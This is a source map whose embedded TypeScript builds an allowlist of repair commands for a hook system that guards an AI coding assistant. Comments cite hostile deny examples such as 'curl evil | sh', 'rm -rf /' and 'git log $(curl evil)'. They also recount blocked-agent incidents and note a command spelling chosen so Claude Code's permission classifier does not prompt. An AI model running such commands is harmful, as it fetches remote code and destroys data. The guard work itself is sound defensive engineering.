the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to every fault, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE MISSING-DEPENDENCY cure — the 2026-08-05 \"pnpm install converges to the same broken state\" deadlock.\n//\n// @webpieces/ai-hook-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in\n// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive\n// dependency of @webpieces/nx-webpieces-rules, and a repo on a hoisting node-linker got its bins in\n// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as\n// unused (correctly: nothing imports it), the package left the tree on the very next install and every\n// wp-ai-* bin went with it.\n//\n// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in\n// package.json asks for the package, so the install reports \"Lockfile is up to date\" and changes\n// nothing. The reporter ran it four times, was denied every other command, and handed the block back to\n// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on\n// this list, or fault U is a guaranteed deadlock rather than a fixable one.\n//\n// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never\n// `update`), the package is the LITERAL @webpieces/ai-hook-rules with an optional `@<version>`, and the\n// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token\n// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no\n// shell operator can ride along: `pnpm add -D @webpieces/ai-hook-rules && rm -rf /` still FAILS CLOSED.\n// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).\nconst ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';\nconst ADD_HOOK_PKG_BODY_ERE =\n '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';\nexport const ADD_HOOK_PKG_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\\\/@:-]*)';\nconst ADD_HOOK_PKG_BODY_JS =\n '(pnpm|npm)\\\\s+add(\\\\s+' + ADD_FLAG_JS + ')*\\\\s+@webpieces\\\\/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?(\\\\s+' + ADD_FLAG_JS + ')*';\nexport const ADD_HOOK_PKG_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/** The package every wp-ai-* bin ships in — the one name fault U is about. */\nexport const HOOK_PKG = '@webpieces/ai-hook-rules';\n\n/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */\nexport const ADD_HOOK_PKG_CMD = `pnpm add -D ${HOOK_PKG}`;\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of SYNC_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.\n *\n * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see\n * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides\n * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n /**\n * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run\n * before webpieces.config.json can even be loaded, so it bypasses everything, always. A\n * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary\n * command the downstream guards still judge.\n */\n readonly cure: boolean,\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', false, null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', true, SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the\n // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not\n // become untypable under a later tightening.\n new L0AllowEntry(`${ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`, 'allow', true, ADD_HOOK_PKG_BODY_ERE, ADD_HOOK_PKG_BODY_JS,\n new L0Call('Bash', ADD_HOOK_PKG_CMD, ''),\n [\n new L0Call('Bash', `${ADD_HOOK_PKG_CMD}@0.4.574`, ''),\n new L0Call('Bash', `pnpm add -D -w ${HOOK_PKG}@0.4.574`, ''),\n new L0Call('Bash', `npm add --save-dev ${HOOK_PKG}`, ''),\n ]),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || !e.cure ? [] : [e.js]));\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
|
|
1
|
+
{"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":";;;AAshBA,8BAKC;;AA3hBD,mDAA6B;AAE7B,0DAA0D;AAE1D,8EAA8E;AAC9E,uGAAuG;AACvG,oFAAoF;AACpF,EAAE;AACF,+FAA+F;AAC/F,+FAA+F;AAC/F,mGAAmG;AACnG,8EAA8E;AAC9E,uGAAuG;AACvG,gGAAgG;AAChG,qGAAqG;AACrG,yGAAyG;AACzG,qGAAqG;AACrG,oGAAoG;AACpG,sGAAsG;AACtG,gBAAgB;AAChB,EAAE;AACF,yGAAyG;AACzG,kGAAkG;AAClG,oGAAoG;AACpG,gGAAgG;AAChG,mGAAmG;AACnG,wGAAwG;AACxG,sGAAsG;AACzF,QAAA,gBAAgB,GACzB,6HAA6H,CAAC;AAElI,yGAAyG;AAC5F,QAAA,mBAAmB,GAC5B,iFAAiF,CAAC;AAEtF,wFAAwF;AACxF,EAAE;AACF,uGAAuG;AACvG,wGAAwG;AACxG,4FAA4F;AAC5F,oGAAoG;AACpG,oGAAoG;AACpG,iDAAiD;AACjD,iGAAiG;AACjG,oGAAoG;AACpG,EAAE;AACF,gGAAgG;AAChG,qGAAqG;AACrG,iGAAiG;AACjG,gGAAgG;AAChG,6DAA6D;AAC7D,EAAE;AACF,mGAAmG;AACnG,uGAAuG;AACvG,sGAAsG;AACtG,iGAAiG;AACjG,+FAA+F;AAC/F,EAAE;AACF,uGAAuG;AACvG,uGAAuG;AACvG,wGAAwG;AACxG,yGAAyG;AACzG,kGAAkG;AAClG,sGAAsG;AACtG,gFAAgF;AAChF,EAAE;AACF,8FAA8F;AAC9F,qGAAqG;AACrG,wGAAwG;AACxG,8DAA8D;AACjD,QAAA,aAAa,GAAG,0EAA0E,CAAC;AAExG,sGAAsG;AACzF,QAAA,gBAAgB,GAAG,oDAAoD,CAAC;AAErF,gGAAgG;AAChG,sEAAsE;AACtE,MAAM,sBAAsB,GAAG,GAAG,GAAG,qBAAa,CAAC;AACnD,MAAM,qBAAqB,GAAG,GAAG,GAAG,wBAAgB,CAAC;AAErD,6FAA6F;AAC7F,qGAAqG;AACrG,uGAAuG;AACvG,EAAE;AACF,6FAA6F;AAC7F,mGAAmG;AACnG,mGAAmG;AACnG,uGAAuG;AACvG,sFAAsF;AACtF,gGAAgG;AAChG,EAAE;AACF,uGAAuG;AACvG,wGAAwG;AACxG,wGAAwG;AACxG,6GAA6G;AAC7G,mGAAmG;AACnG,uGAAuG;AACvG,mCAAmC;AACnC,EAAE;AACF,oGAAoG;AACpG,sGAAsG;AACtG,2FAA2F;AAC3F,sEAAsE;AACtE,MAAM,kBAAkB,GAAG,+EAA+E,CAAC;AAC9F,QAAA,mBAAmB,GAC5B,sBAAsB,GAAG,kBAAkB,GAAG,wBAAgB,CAAC;AAEnE,oGAAoG;AACpG,kGAAkG;AAClG,kGAAkG;AAClG,gFAAgF;AAChF,MAAM,iBAAiB,GAAG,+DAA+D,CAAC;AAC7E,QAAA,kBAAkB,GAC3B,IAAI,MAAM,CAAC,qBAAqB,GAAG,iBAAiB,GAAG,2BAAmB,CAAC,CAAC;AA